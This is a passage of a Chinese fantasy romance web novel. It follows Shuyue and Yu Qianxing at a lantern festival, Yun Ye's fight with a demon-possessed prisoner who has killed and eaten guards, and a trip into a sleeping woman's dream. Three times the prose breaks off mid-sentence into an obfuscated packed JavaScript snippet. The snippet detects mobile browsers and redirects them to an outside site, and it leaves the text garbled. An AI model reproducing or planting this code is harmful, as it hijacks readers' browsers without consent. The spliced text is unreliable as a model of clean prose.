未想手腕忽然被人攥住往前一拉,她重心不稳,猝不及防间便跟着往前倾倒。 还未及撑住身侧的石桌,腰间已圈上一条手臂,猛地收拢,迫使她跌坐在对方怀中。 “书悦。” 她忙要挣扎着起身,却见对方抬手往她头上伸去,随即感觉到一支发簪往头发深处探。 于千星微微仰着头看她,唇角勾起:“你的发簪歪了。” 16. 河灯 云曳借口自己还有事,离开书悦的院落。本想回去歇息,未料走到半途,忽见一名行色慌乱的修士往城主府飞奔。 他面色极苍白,眼神涣散,脚步虚浮,胸前衣襟染了大片血污,旁人见他都远远避开去。 城郊那处隧洞已然消失,魔物已清理完毕。城镇上空的裂隙虽仍在扩张,但也没有出现新的魔物,这是出了什么事? 云曳思忖着,眉心微拧,转头望向他来时的路,忙飞身跟上去,五指攥住对方的后领把人扯回来,拧眉问:“慌慌张张的,做什么?” “啊!” 那人被她吓一跳,猛地尖叫一声,回过头发现是她,勉强冷静些,面色仍是苍白,身上的血腥味浓郁刺鼻。 他抖着手指自己来时的方向,颤声道:“牢、牢里,那个许卫,许卫……” 云曳神色一凛,手指加重些力,低斥道:“说清楚!” 似是回忆起什么,对方缩了缩脖子:“许卫入魔了,他会吃人!!” “什么?”云曳睁大眼,旋即松开手,“你回去禀报统领,切记不要声张。” “云队,云队,你去哪?” 云曳说罢便撇下他,往他来时的路提气飞奔,几个起跃间身影便消失在天边。 他不敢懈怠,继续往城主府去。 潼宁城关押修士的牢狱设了许多禁制,里面潮湿阴暗,连扇窗都没有,只依靠墙壁上常年燃烧不熄的灵火照明,毫无温度。 云曳下了牢,看守的修士见到她,都像看见救星,双目一亮,旋即又将她拦住,劝道:“云队,前面危险。” “你们守在此处,等统领派人来支援。” 她将人推开,不顾阻拦一步步往深处去,径直去往关押许卫的地方。 越往里走,血腥味便越是浓郁,丝丝缕缕的黑气飘在空中,令人不适。 走了片刻,忽见地上蜿蜒流淌着一条暗红色的河,顺着血河往前,可见看守牢门的修士横七竖八躺了一地。 他们各个面色惊恐,胸口破了个大洞,衣衫被蛮力撕碎,血液浸透,内脏与肠子被残忍扯出,混在血泊之中,甚至还有些残肢断臂。 此情此景堪比修罗地狱,空气中的血腥气愈发浓郁,惹得胃海翻腾。 而尽头的牢房里,玄铁制成的大门被人从中掰开向两侧扭曲,张出一个可让人进出的缝隙,里面空无一人。 见状,云曳面色陡沉,强忍住呕吐的欲望,抬臂用衣袖掩住口鼻,小心避过血河与七零八落的残肢断臂,继续往前。 地牢静谧,走了片刻,只听回廊深处隐约传来啃食吸吮的窸窣声响,诡异非常,叫人毛骨悚然。 她循声往前,经过拐角,忽见前方不远处蹲伏着一个人影,一个修士瘫在他身边,不知生死。 细细看去,那人影弓着背,双手捧着什么东西,手臂曲着,过会儿又整个伏在那修士身上,如野兽进食一般,头颅低下又往外撇,似叼着什么撕咬。 待云曳看清他在做什么,不由瞳孔骤缩,脊背一凉,下意识往后退。 未想到一时不察,鞋履恰踩上一处血泊,发出清脆的噼啪声响。 前方趴伏着的那人似有所觉,动作顿住,随即缓缓抬起头,向云曳的方向转过脸。 头发散乱,脸上满是血污,嘴里还叼着一块不住往下滴血的碎肉。双眼透过挡在额前的碎发显露出猩红的凶光,瞳仁异常缩小,只有中心一点。 他正是本该关在牢中的许卫! “云、曳……” 云曳僵在原地,却见许卫对着她缓缓咧开嘴,幅度极大,嘴角几乎快挂上耳边,远超出常人的极限。叼在齿间的碎肉猛地砸落,掉进血泊之中,激起血水飞溅在他脸上。 * 月华洒落湖面,银鱼攒动。忽有大风刮过,满塘青翠华盖摇曳起来,袅袅娉娉。 湖心亭中,一双人影靠得极近,如相互依偎的璧人。柔软黑发被风牵引着交织相缠,又轻盈掠过谁的耳畔与脖颈,惊得其中一人飞速撤开。 “谢、谢谢。” 书悦被发丝撩得发痒,猛地回过神,忙推着于千星的肩膀直起身,有意拉开距离,连往后退了几步。 她尴尬得双手都不知怎么放,没事找事地胡乱整理衣襟,轻掸去不存在的尘土,又抬手摸了摸头上别的簪子,指尖轻拂过一串珠翠流苏,叮叮当当地响。 暖源撤离,随之而来的便是凉与空。 于千星还有些不舍与不满,抬眸瞥见对方隐在发中微红的耳廓,不由一怔,随即微勾唇角,被旁人打搅约会的郁闷也淡去些。 “不客气,是我傍晚的时候便没帮你弄好。” 心知不能逼得太紧,他温声答了一句便转移话题,伸手指了指书悦身后的湖泊,轻声问:“想放河灯吗?” “什么?” 果然,书悦被转移注意,顺着他手指的方向侧头。 岸边有好些人在放河灯,如绽开的莲花一般小小一朵,散发出微弱却温暖的烛光,随水流漂到远处,在湖面轻荡,宛如落在人间的点点星光。 “你想放?也行。” 书悦收回目光,没有异议,当即取纸铺在石桌上,比对着那漂在水面的河灯,随手绘了两盏出来。 指尖在上头轻点,那画纸便如飘荡的水面,从画中将两盏河灯送上桌案,在两人面前各摆了一朵,烛光随之亮起。 “哦对,是不是还要许愿?” 她又从画纸上撕了两张字条下来,拈起其中一张给人递了过去。 于千星见状立即想到方才的事,眸色微沉,面上却是笑着,意味不明道:“画圣身怀这等神通,当真方便。” “确实方便。” 书悦疑惑他为何又生疏地称自己为“画圣”,虽感觉到不对,但不太明白具体哪里不对、又为何不对,只好顺着应了一句。 “……”于千星不说话了,取过纸条侧过身去。 “你想好许什么愿望了?是什么?” 书悦不知如何下笔,却见对面已然拾起纸张,不由好奇问了一句。 “秘密。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915055|135606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 未想对方侧眸瞥她一眼,旋即似是怕她偷看,还整个背过身去,抬起手臂,指尖凝着灵光,作势要开始书写。 书悦见状忍俊不禁,笑声道:“背过去做什么?难道我还会偷看你写什么吗?” 对方不搭理她,以指作笔凌空书写,指尖凝聚的灵光挥舞一阵,勾出龙飞凤舞般的字迹。 书悦本无意窥探于千星的隐私,但对方这副模样反倒令她心生无限好奇,盯着他的背影看了会儿,便忍不住悄悄站起身,伸长了脖子。 未想到对方动作很快,不过片刻便放下手臂,双手拈住字条一点点往下卷。 而那由灵光绘出的字迹闪动一瞬便消失了,她根本什么也没看见。 见对方写完要回身,书悦连忙端正坐好,还装模作样地伸臂用垂下的衣袖挡在字条前面,防止对方偷看。 但她思来想去实在不知许什么愿望,只好提笔随手写了几个字“愿天下太平”,之后便搁下笔,双手拈住字条将其卷起,小心塞到河灯里。 她装得煞有介事,甚至于千星写完了她还在写,惹得对方好奇,自己不肯告诉她,倒反过来问:“你写了什么?” “哼。”书悦轻抬下颌冷哼一声,学着对方道:“秘密。” 于千星一怔,唇角微勾,昳丽眉目荡开动人春色,黑瞳清亮如水,盛着笑意,比满池河灯温暖耀眼。 * 潼宁江沿岸的街市繁华热闹一片,行人如织,三三两两结伴提着花灯闲游,惬意安然。 城主府的议事厅内灯火通明,云曳半道上撞见的那名修士抢进门来,跑得太急,扑通一声跪在地上,气喘吁吁道:“统、统领,大事、大事不好了!” 廖蕴和正坐在桌边专注翻阅文件,乍然被人打搅也未动怒,平静扫了眼对方,温和道:“慢点说。” 见主心骨这般神色,那名修士也冷静下来,把气喘匀后严肃道:“统领,许卫在牢中入魔,竟修为大涨挣脱牢门出来,在里面大开杀戒,还生吃人肉!没人拦得住他!” 闻言,廖蕴和翻阅书卷的手指一顿,将纸张捏出明显褶皱。 他抬起头,神色少有的凝重,眉心紧锁,沉声问:“此事还有谁知道?” “还、还有……”修士支支吾吾,垂下头,“属下路上撞见云队,她直接奔着牢狱去了……” 他话未说完,忽感身边掠过一阵风。再抬眼时,厅中哪还有统领的影子。 * 深重的黑气如水一般流向脚边,潮湿黏腻,寒凉彻骨。墙壁上的灵火被黑气淹没,忽明忽暗,摇摇欲坠般疯狂颤抖。 许卫缓慢从地上站起,咧着嘴向云曳走来,全身骨头如被打碎重组,姿态扭曲诡异,僵硬得像一具走尸。 “别过来!” 云曳面色一凛,五指虚空一握,一杆长枪凭空出现,枪身流淌银白灵光,照亮满室。 她横枪在前做出防御姿势,下一瞬,那许卫的身影竟如同鬼魅一般在眼前消失,却又出现在她身后,握着一柄匕首刺向她的心口! 17. 许卫 察觉到凛冽杀气,云曳侧身一闪,双手握住枪身一旋、一挑、一刺。雪亮的枪尖划破空气,迸发刺目寒芒,直冲着许卫的眼窝戳去。 对方后仰躲避,又向旁侧闪去,腰肢如水蛇般扭曲到不可思议的程度。似是不敢与她正面对打,避开她的攻击后,身形便隐在浓郁黑气之中,伺机而动。 许卫出身无影门,修的都是些“上不得台面”的东西,诸如藏匿、刺杀之术,他不敢正面对打,只能偷袭。 “宵小之辈,只会躲吗!” 云曳持枪戒备,凝神细听周遭动静,依靠本能感受到的杀气侧身避过一击,长枪反挑攻向对方肩膀,刺破一团凝聚的黑气。 她乘胜追击,握住长枪旋身一转再度出招,枪出如龙,白影缭乱,每一个招式都精准凌厉。 “噗!” 云曳攻势太猛,黑气被打得节节败退,溃不成军,在不远处聚成一道模糊人影,扶着胸口半跪在地,嘴里喷出鲜血。 “难道你就这点本事吗?” 云曳勾唇讥诮,眼神坚定冰冷,周身气质冷酷肃杀,提着长枪步步紧逼。 只有她自己知道,此地空间狭小逼仄,她施展不开,而且魔气浓郁得令她灵力运转滞涩,必须速战速决。 话音未落,她身影一闪,瞬息间逼近对方,枪尖直取许卫首级。 未想到许卫竟不闪不避,还诡异地抬头冲她咧嘴一笑。 云曳忽感不妙,眉心微拧,却已收势不及。 只见那许卫竟化作一团黑气,转瞬间膨胀数十倍,如惊涛骇浪一般猛地扑向了她! 云曳睁大眼,连忙迅速飞身后撤,那黑气如潮水一般步步紧逼,终于扑灭了墙上的灵火。 视野立时陷入昏暗,伸手不见五指,黑气再度暴涨,猛地将她吞噬。 被极其浓郁的魔气包裹,云曳只觉灵力运转滞涩,全身皮肤传来潮湿黏腻的触感,冰凉彻骨,逼得她脊背发寒,沁出薄汗。 “许卫,滚出来!” 她握紧手中长枪,全神贯注捕捉四面八方传来的细微声响,不敢漏过一丝一毫。 见许卫隐在暗处毫无动静,她只好出声逼迫对方主动现身,讥诮道: “传言无影门与邪魔外道为伍,门中弟子各个是贪生怕死之辈,在三年前被妖魔入侵,门中弟子死伤无数。 “修仙界各派冷眼旁观,唯有仙盟施以援手,我兄长还破例收留你们。如今看来,兄长竟是救了一群白眼狼。” “哈哈哈……” 似是戳到对方痛处,不知从何处传来一阵令人头皮发麻的笑声。 接着笑声戛然而止,对方咬牙怒道:“放他娘的狗屁!姓廖的就是一条道貌岸然的疯狗!他——” “闭嘴!”云曳面色陡沉,猛地低斥出声。 “呵。”对方被打断也不生气,随即冷笑了声,“云曳,你知道我为什么会变成这副样子吗?” 云曳嘴唇紧抿,没有贸然接话。 “哈哈,哈哈哈……” 对方又笑起来,笑得愈来愈疯狂,声音逐渐变大、变得尖利,似是一把钢刃来回切割耳膜,撕扯得神经紧绷发痛。 “唔……” 云曳不由抬手捂住头颅,只觉周身魔气变得更加浓郁,令她头晕目眩、几欲作呕。 对方笑了一阵,续道:“不妨告诉你吧,我变成现在这副模样,都是廖蕴和的杰作!我那几个兄弟的死,也全是拜他所赐!!哈哈哈……咳咳……” 说到后头,对方几乎是厉吼出声,吼完又莫名发笑,已然癫狂,似是太过激动,笑着笑着忽然剧烈咳嗽起来。 “唔……别、别说了……” 云曳只觉脑中晕眩锐痛,双手扶着脑袋用力捶打按压,身形摇晃不稳,眼前不住闪过些猩红色的模糊画面。 她好似又回到从前陷入绝境的时候,身体不自觉地剧烈发抖,冷汗直流。 勉力睁眼朝前看的时候,忽见前方似出现一道开启的大门,淡金霞光如瀑倾泻,驱散身周的阴寒与黑暗,带给她温暖。 只见门外的景色渐渐变得清晰,现出一方天井,嫩粉的菡萏逐渐吐芳,与翠绿的荷叶相映成趣。 一道纤细人影忙忙碌碌来回经过门前,嘴里催促,声音却只令人觉得亲切:“云曳,快别捣鼓你那根树枝了,来吃饭!顺便也去屋里叫你阿爹出来!” “阿、阿娘?”云曳睁大了眼,下意识地应声,不由自主往前走。 而隐在黑气之中的许卫还在说着,蛊惑一般声线变得平缓温和,却带着些幸灾乐祸: “对,就是那儿,朝前走,只要跨入门槛,你就能和你的家人团聚了……然后,你就会变得和我一样,人不人,鬼不鬼!哈哈哈……” “与家人、团聚……阿爹、阿娘……” 他说着便克制不住地疯狂大笑起来,而云曳已全然失去理智,沉浸在幻境之中,嘴里喃喃着什么,泪流满面,向着那道光门步步走去。 “云曳!站住!” 骤然一声低喝,伴随着一阵清亮琴音响起。 许卫隐在暗处闻声回头,却见是廖蕴和竟赶来了,抱着一张乌木瑶琴,面色愠怒,不复沉着冷静。 廖蕴和来时,只见满室的黑气聚成一面漆黑的墙,与城镇上空不住扩张的隧洞如出一辙,立在云曳面前。从墙里伸出无数条黑色的手臂,在云曳面前疯狂挥舞,正准备将她拉进去。 而云曳不仅不闪不避,还傻乎乎地往里走! “兄长?” 廖蕴和的琴音具有驱魔、凝神的功效,许卫用魔气织出的幻境应声破碎。 云曳脱离幻境,待看清面前的东西,不由双眸睁大,连忙后撤几步。 她随即转头看向许卫,陡然沉下脸,身形一闪,以迅雷不及掩耳之势攻向对方! * “里头躺着的便是孩子他娘了,麻烦二位仙长了。” 八月十五日晚,书悦二人游完街之后打道回府,因廖蕴和有意隐瞒,他们并不知晓牢狱中发生了什么。 次日,书悦与于千星便通过仙盟联系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930141|135606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了严高谊,前往对方家中,由对方领着到他妻子的寝居。 雕花窗棂半掩,曦光透过窗纸斜射屋内,落了一地碎金。 窗格下方摆着一张檀木几案,陈着几卷戏曲话本,还有一只白瓷花瓶,瓶里插着几枝新鲜茉莉,洁白无瑕,香气扑鼻。 绕过纹案素雅的屏风,他们来到一张檀木床前。雪白纱帐重重垂下,掩住内里酣睡女子的睡颜。 严高谊说着,伸手轻撩起纱帐别在床栏两侧,俯下身轻抚了抚妻子的额头便直起身退开,将位置让给他们。 “嗯。” 书悦轻应了声,不动声色扫了眼屋中,目光落到榻上躺着的女子。 那女子相貌姣好,只是面色苍白,双目紧闭,鬓发微湿。不知梦到什么,眉心蹙起,置在锦被上的双手也轻轻攥成了拳。 书悦观察了一会儿:“她这样睡多久了?中途醒来过么?能喝水吃饭么?” “她至少睡五天了,”严高谊攥着手,额角与鼻梁沁出细汗,“我问了侍候的下人,说是头两日醒来过几次,后面一直睡着,吃食都让下人扶起来喂进去。” “好。” 书悦应了声,来回轻抚下颌,实在瞧不出什么,伸肘轻轻捅了一下身侧的于千星,小声道:“要不你去看看?” 昨夜他们放完河灯之后,于千星似乎被她哄好了,今晨她说要去探望严夫人,竟也没有异议,跟着来了。 “嗯。” 对方点头,随即走上前,轻轻弹指,从指尖伸出一条细长的冰蓝丝线,在那女子的手腕上缠了一圈。 片刻,他收回丝线,侧眸看了书悦一眼。 “仙、仙长,情况怎么样?” 严高谊见状愈发紧张,双手交握用力捏紧,一滴冷汗从额角淌落下来。 书悦微笑宽慰道:“不用担心,我先与他商讨一下对策,请大人暂且回避。” “好,好,那就拜托二位仙长了。” 严高谊忙不迭点头,很快领着一屋子下人退出去,还细心掩上了房门。 等人一走,书悦便迫不及待追问:“你看出来什么?情况怎么样?” 于千星道:“她确实不是病了。” “那是怎么?”见于千星都这么说,她不由更加好奇,双目直勾勾盯着对方。 未想对方却卖关子,任她看着,唇角微勾,等得她心焦催促,才慢条斯理道:“她被梦妖缠住吸食生气,陷入梦魇,我们得入梦帮她化解心中不平之事,引梦妖出现才能将它除掉。” 书悦自那片荒地醒来之后,没过多久便遇见月上画馆的人,接着便一直忙活着画稿。 虽是借着画圣声名混得风生水起,但她一直怕被人认出自己是冒名顶替,几乎没出过绥安城,也几乎没接触过什么妖魔,看不出来具体情况也正常。 “那我们要怎么入梦?我们与她非亲非故的,不了解她,怎么帮她化解心中不平之事?” 书悦追问,忽想到什么,又转头看向门外,“不若我们把她丈夫也叫来?” 18. 入梦 “是的。” “嗯。” 见书悦两人同时应声,严高谊郑重点头,目光变得坚定:“好,那小人随你们一起去,麻烦二位仙长了。” “我们要怎么入梦?”书悦又看向于千星。 “稍等。” 于千星从乾坤袖中取出一只香炉置在床榻边的矮桌上。 那香炉由青铜铸成,呈圆鼎形状,造型小巧却庄严。炉身雕满镂空的云纹、花鸟图案,顶盖立着一只展翅欲飞的仙鹤,古朴而典雅。 他伸指轻拨仙鹤顶盖,一线白烟便从炉身镂空处袅袅升起,怡人香气在屋内缓缓弥漫,嗅之令人心神安定。 榻上的女子果然舒展眉头,攥紧的双手也渐渐放松。 “闭眼,凝神静气。”于千星拨弄着顶盖,补充一句。 “好。”书悦两人不疑有他,依言照做。 见两人皆闭上眼,于千星转眸看向榻上的女子。清亮黑瞳逐渐褪成幽蓝色泽,如水般轻轻荡漾,随即倒映出一片光怪陆离之景。 与此同时,他伸指凌空虚画几笔,周遭空气似是被牵引而来,高速旋转着聚成一个漩涡,又很快归于平息,形成一面光洁水镜。 他看向那面水镜,瞳眸中倒映的景象竟投在上头,呈现出的便是严高谊的妻子在梦中经历的场景。 紧接着,他伸指在镜面上轻轻一触,水镜随之泛起圈圈涟漪,周遭一切跟着褪色,变得虚幻、扭曲,最后完全换了一副模样,却与镜中景象如出一辙。 “睁眼。” 听到于千星的声音,两人才睁开眼,却见他们已不在原来那间屋里。 只见整个厅布置典雅大方,四壁挂了好几幅名家字画,一张雕花乌木长桌上摆放着一副精致茶具。 形容端庄严肃的妇人坐在桌边的太师椅上,一手端着茶托,另手拈着茶盏轻轻摇动,嗅到逸散的茶香之后眉心微微一蹙,犹豫着低头轻抿一口,眉心蹙得更深,随即将其放下,不再动它。 而她面前正跪着一名年轻女子,裙裾曳地,身姿弱柳扶风,相貌姣好,正是严高谊的妻子。此时头颅低垂,双手置在膝上攥紧,大气不敢出。 那妇人瞥她一眼又很快移开目光,取了巾帕轻轻擦嘴,刻薄道:“到底不是正经人家,登不了台面,上好的茶都让你糟蹋了。” “……是,母亲教训得是。”跪在厅中的女子闻言轻轻一抖,脑袋压得更低,“婉莺给您重新泡。” “小荷。” “奴婢在。” 那妇人却不理她,站起身看也不看她一眼,手臂一抬立即有侍女过来将她扶住,搀着她慢条斯理出了厅中。 徒留曲婉莺垂着头跪在原地,跪得脊背微弯,身体不住细细发抖,强撑着睁大眼不让泪珠滚落,置在膝上的双手攥紧成拳。 “莺莺!怎么了,你怎么跪在地上!” 片刻,门外忽进来一名青年,正是严高谊。 他看见曲婉莺跪在地上,双眉一蹙,随即大步上前将她扶起,边扶边关切道:“你怀有身孕,怎么能跪地上?是发生什么了吗?” “没有……” 跪得太久,曲婉莺站起时身形还晃了一晃,借力站稳之后忙将双手背到身后,轻轻摇了下头便作势要走。 “莺莺,怎么了?” 严高谊不解蹙眉,忙将她拉住。似是觉出不对,忽低头看她的手。见曲婉莺要躲,便绕到对方身前,强行把人双手捧到自己眼下观察。 虽是出身低下,但曲婉莺的一双手生得细嫩白皙,十指纤长如玉,大概没有受过太多磋磨,指腹却莫名红肿发热,还长出了几个水泡。 “莺莺,这是怎么弄的?” 他一怔,不由抬眼看向曲婉莺,正对上一双湿润发红的眸。他当即明白过来,眉心微拧,低声问:“……是我娘又为难你了么?” “没有!”曲婉莺连忙摇头,又一下将自己的手抽出,有些赌气似的,说着却有些哽咽,“是、是我自己泡不好茶……” “这是你泡的?” 严高谊闻言立即看向长桌,只见桌上还摆着那杯茶,随口问了一句便给自己斟了一杯尝了尝。 随即眉头一蹙,放下茶杯,向曲婉莺招手道:“泡茶有什么难的?来,我教你。” “你!” 未想到他话一说完,曲婉莺便气愤地瞪他一眼,抬脚一跺便转身大步出了门去。 严高谊一怔,忙追上前去,刚捉住对方的手腕便被一下大力甩开,哭着吼道:“别碰我,我讨厌你!” 接着她便剧烈挣扎起来,严高谊见她情绪激动,不敢拦,眼睁睁看着她捂脸飞快跑远了。 而书悦几人此时便站在厅中,围观了全程。 夫妻俩的相貌看上去比之前见到的年轻一些,此时大概是二人刚成婚不久。 严高谊看了半晌,这才回过神环顾四周,大为惊奇:“仙长,我们这是在哪儿啊?” “这是令夫人的梦境。”于千星言简意赅答了句。 书悦补充道:“我们现在见到的情景,大概便是她心中无法忘怀的事了。” “啊?”严高谊讪讪挠了一下头,“这、这不就是件小事么?我和莺莺都成婚好几年了,小宝都多大了,她怎么还记着这件事呢?” “只是对你来说是小事。”书悦闻言不由沉下脸,转眸直视他的眼睛,“别忘了我们的目的。我们进来这里,是为了帮她解决心中难平之事,将她唤醒的。” “是、是,仙长教训得是。”严高谊见她面色不好,忙尴尬赔笑,双手紧张交握攥起,“那依仙长看来,小人现在应该怎么做?” 于千星抱臂冷漠道:“她是你夫人。如何哄好她,难道还要问外人吗?” “不不不……”严高谊忙不迭摇头认错,额上淌落冷汗。 见严高谊额上满是冷汗,尴尬又无措地看着他们,书悦轻叹口气,问:“你还记得你当时是怎么做的么?” 严高谊回忆道:“小人是做生意的,平日总要到处跑。那日我归家正要收拾行李准备出趟远门,时间赶,便只托人上街买了些她爱吃的糕点给她送去,之后便离开了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993713|135606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那这一回你便亲自去送。” “啊?”严高谊睁大眼,不解地挠了下头,“送是可以,但小人要怎么送呢?” 书悦当即转头问于千星:“于千星,我们是可以离开这里的吧?” “可以,跟我来。” 于千星区别对待得十分明显,见她看过去,语气与目光立时变得柔和,当即往厅外去。 临走出厅外,只见他面前的一片虚无空气如水面一般泛起涟漪,瞬息便恢复平静,随即倒映出他的身影。 他正要跨过门槛,忽转过头,向书悦伸手:“书悦,来。” “……走吧走吧。” 书悦下意识扭头看了眼身侧的严高谊,快走几步,没把自己的手递上去,当先跨过门槛。 果见门槛之外的景象变幻成潼宁江沿岸的街道,两侧商铺鳞次栉比,行人摩肩接踵,对于她的凭空出现视若无睹,只专注做自己的事。 正环顾四周时,于千星带着严高谊也越过门槛,来到她身侧。 书悦随口问:“令夫人平时最爱吃的是哪家的糕点?你记得么?” “记得,记得。” 幸好严高谊还是了解妻子的,扫了眼沿街商铺的招牌,辨认出他们的所在位置,便熟门熟路当先往前走去。 书悦两人跟在他身后。 他走进一家糕点铺,身形越过门槛时也如方才一般没入水中,相貌衣着统统变化,一下子年轻几岁,与之前在大厅中见过的模样一般无二。 他似是熟客,糕点铺老板老板见到严高谊便笑起来,热情招呼道:“哟,严老板又来给媳妇儿买冰糕呀?” “诶,对,给我来上一包吧。”严高谊震惊于自己的变化,一时还反应不过来,生意人的本能令他下意识扬起笑,又在柜台上留下足够银钱,“谢谢啊。” “好咧,这是您的冰糕,接好咯。”糕点铺老板麻利地给他装了好几块冰糕,用油纸细致包好,双手交到他手上。 “好,多谢。” “谢谢惠顾,喜欢再来!” 严高谊买完冰糕便从铺子里出来,问:“仙长,我买好了,我们这下要怎么回去呢?” 于千星不答,只侧眸看向身后,那里什么也没有,又好似笼着一层透明的水面。 紧接着,他二话不说牵住书悦的手,径直把人往里带,两人的身形很快隐没在空气中泛起的涟漪里。 严高谊迅速迈步跟上穿过那面空气墙,只见那背后竟是一处小院子。 树木葱茏,百草丰茂,一座亭子掩在绿荫之中,飞檐翘角,四面开敞。溪流穿过庭院,在亭下蓄起一汪池塘,清可见底,游鱼惬意来去。 亭中一名女子慵懒靠着围栏,百无聊赖地盯着下方池水,过会儿微微起身,竟跪在长椅上,大半身子都探出围栏,努力向下伸长手臂试图去撩水。 她正是曲婉莺。 恰好一阵大风刮过,她半悬空的身子竟摇晃起来,头上的朱钗慢慢滑落,噗通一声落入水中。 而她另一手竟没抓稳栏杆,瞧着快要落下水面! 19. 出身 “莺莺!” 严高谊一见,瞳孔骤缩,猛地飞奔上前,一把捉住曲婉莺的另一条手臂把人拉回来,“怎么这样不小心!” 他担忧心焦,语气难免重了些。曲婉莺被他吓了一跳,回过神来便觉得委屈,眸中泛泪,又一把甩开他的手,赌气道:“你不是要去做你的生意么,我不要你管!” “我若是不管你,你便要掉下去了!”严高谊也被她吓得不轻,当即吼了回去,气得脸红脖子粗。 “那你就让我掉下去好了!” “你!!” 眼见两人争执起来,一个生气一个委屈,都不肯低头,另一边默默旁观的书悦不由眉心一蹙,正要上前,又被于千星拉住,抬头见对方轻轻摇了下头。 她只好停住,思忖一会儿,自袖中掏出惯用的那把折扇,对着亭子轻轻扇了一下。 蓦然又刮起一阵大风,满园树叶被吹得沙沙作响,衣袂与头发狂乱飞舞,亭子里的两人被风吹得迷了眼,身形跟着微晃。 曲婉莺身形纤细,被风吹得倒退几步,腰肢撞上围栏,吓得严高谊顾不上挡风,忙一把拽住妻子的手把人扯回来,搂在怀中牢牢护住,边往安全地方退。 直到大风过去,曲婉莺回过神,看清现状不由面上一红,下意识又要推开丈夫。 “莺莺,等等!” 所幸严高谊被这大风转移了注意力,此时终于反应过来,忙把人扯住,接着从袖中取出方才买的那包冰糕,献宝似的捧到对方面前,“莺莺,你看我买了什么?” “怎么?不是差人去给我买的了?” 曲婉莺一怔,抬眸瞅他一眼,轻哼了声便试探着伸出手,捏住油纸缓慢揭开。 只见几个冰雪似的糯米团子安静躺在上面,各个晶莹剔透,模样圆润讨喜,随着手掌轻晃,如水润的豆腐一般摇晃着来回弹动,挨挨挤挤,互相推搡,清甜的香气随之弥漫开来,勾得人垂涎三尺。 这是那家糕点铺卖得最好的吃食,远近闻名,每日一早就被抢售一空。因为曲婉莺爱吃,严高谊也常买,老板便特意留了些。 见她手指停在半空,严高谊抬眸看向对方,正撞入一双湿润的眸。他微微一怔,又轻晃了晃手里的油纸,柔声道:“莺莺,这是我方才去买的,你快尝尝。” “哼。” 曲婉莺又哼了一声,轻吸了吸鼻子,随即伸指轻拈起其中一块儿咬了一口,用另手在下面接着。 冰糕口感柔软细腻,随着咀嚼,雪白外皮如云一般在嘴里散开,内里馅料的清甜水果香气在唇齿间绽放弥漫,鲜嫩多汁,口感清爽丝滑,回味无穷。 她吃得微眯起眼睛,腮帮一鼓一鼓,将手里的冰糕吃完,顾不得完全吞咽下去,又忍不住再拿了一块儿。 见状,严高谊忙殷勤将冰糕往前递了递,挂上讨好的笑:“莺莺,方才是我做得不对,你不要生我的气好不好?” 曲婉莺闻言,将那块要送入嘴里的冰糕又放回去,抱起双臂,撇过头道:“那你说说,你错哪了?” “呃,这个,我……” 严高谊一下怔住,支支吾吾答不上来,见对方脸色又沉下去,忙赔笑讨好道:“你告诉我,我哪儿惹你生气,我全都改好不好?” “你!” 曲婉莺才被哄好,闻言双目又变得湿润,瞪了他一会儿才委屈地小声回了一句,还带着泣音:“你整日就是忙着做你的生意,都不如以前在意我了。” 她说着便伸出手,掌心向上摊开,可见葱白十指还红肿着,几个水泡刺目扎眼。 严高谊猛地睁大眼,把冰糕三两下包好放在椅上,双手小心捧起曲婉莺的手放在面前轻吹了吹,满眼心疼地看她,柔声道:“莺莺,都是我的错,我之前脑子犯浑,只顾着旁的事了。我们先回屋里,我给你上药好不好?” 曲婉莺看他一会儿,双眸愈加湿润,过会儿才轻轻点头“嗯”了声。接着两人便相携着进屋。 书悦二人站在远处旁观,见状,她终于有些欣慰地笑了一下,伸手轻抚下颌:“这样应该可以了吧?” “静观其变。”于千星摇头。 果不其然,他话音落下,他们周遭的景色又换了副模样,不是他们入梦时的屋子,是一个大院。 四面是青瓦白墙,宽阔石板路从足下延伸至前方的月门,道旁栽了些青翠绿植,角落一棵参天古木枝叶繁茂,树荫下陈着一副石桌石凳,桌上还摆着一盘未下完的棋,环境清幽雅致。 抬头可见不远处的建筑恢弘大气,雕梁画栋,飞檐翘角,正门处悬着一块漆木匾额,上书“琼宇书院”,字迹苍劲有力、龙飞凤舞,一看便知出自大家之手。 而与曲婉莺一同进屋的严高谊又忽然出现在他们身侧,乍然看见他们还有些反应不过来,睁大眼环顾四周,奇道:“二位仙长,这、这是怎么一回事?” 书悦转头问他:“你夫人原谅你了么?” “应、应该是吧。”严高谊面色微红,手指轻挠了下脸,“我给她上完药以后,她、她对我笑了。” 